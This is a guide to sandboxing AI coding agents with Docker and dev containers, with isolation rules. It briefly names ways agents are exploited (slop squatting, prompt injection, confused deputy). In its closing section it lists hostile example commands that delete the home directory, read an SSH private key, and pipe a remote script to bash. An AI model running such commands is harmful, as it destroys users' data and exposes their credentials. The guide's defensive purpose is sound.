The following are potential ways in which AI agents can be exploited:

1. Slop Squatting: Models can hallucinate names, such as package names, leading to a possibility for malicious code to get injected.
2. Prompt Injection: This involves hiding malicious instructions inside files/pages that AI would read.
3. Confused Deputy: This is related to prompt injection as a technique where an attacker gains escalated privilege and performs unintended actions.

For all of these reasons, it is important to ensure that the agent is sandboxed: it needs its own execution environment with everything it needs to work but nothing more.

Fix 1: Sandboxes

Local sandboxes are a damage-limiting layer for AI coding agents. They let the agent run commands, install packages, edit files, and test code inside a constrained environment instead of directly on your host OS.

Docker containers isolate filesystem, networking, and process trees from the host by default, but bind mounts can still let container processes modify host files, so mount only the project directory and prefer read-only mounts where possible. (Docker Documentation)

Basic setup

Create a project-specific container:

mkdir my-project
cd my-project

Add a Dockerfile:

FROM node:22-bookworm

RUN useradd -m coder
USER coder

WORKDIR /workspace

Run the agent inside it:

docker build -t ai-coding-sandbox .
docker run --rm -it \
  --name ai-coding-sandbox \
  --mount type=bind,src="$PWD",dst=/workspace \
  --network none \
  ai-coding-sandbox bash

• -network none removes external networking except loopback, which is useful when the agent does not need internet access. (Docker Documentation)

Safer practical version

Use this when the agent needs to read code but should not freely rewrite everything:

docker run --rm -it \
  --mount type=bind,src="$PWD",dst=/workspace,readonly \
  --mount type=volume,src=agent-tmp,dst=/tmp/agent \
  --network none \
  ai-coding-sandbox bash

Then copy only approved changes back to the host.

Dev Container setup

For VS Code/Cursor-style workflows, create .devcontainer/devcontainer.json:

{
  "name": "AI Coding Sandbox",
  "build": {
    "dockerfile": "Dockerfile"
  },
  "workspaceFolder": "/workspace",
  "remoteUser": "coder",
  "runArgs": [
    "--network=none"
  ],
  "mounts": [
    "source=${localWorkspaceFolder},target=/workspace,type=bind"
  ]
}

Dev Containers are meant to provide a full development environment around a codebase, with source code mounted into the container. (Dev Containers)

Rules for using local sandboxes with AI agents

Give the agent access only to the project folder, not your home directory, SSH keys, browser profile, cloud credentials, or .env files.

Use a non-root container user. Avoid --privileged, host networking, Docker socket mounts, and Docker-in-Docker unless absolutely necessary.

Keep secrets outside the sandbox. When secrets are required, pass short-lived, least-privilege tokens.

Disable network by default. Enable it only for dependency installation or API calls, then turn it off again.

Review diffs before applying changes:

git diff
git status

Run tests inside the sandbox:

npm test
pytest
go test ./...

Commit only after inspection.

What this protects against

A sandbox helps contain bad commands like:

rm -rf ~
cat ~/.ssh/id_rsa
curl malicious-script | bash

But it is not perfect. If you mount sensitive host directories, expose Docker’s socket, run privileged containers, or give the agent real credentials, the sandbox can be bypassed in practice.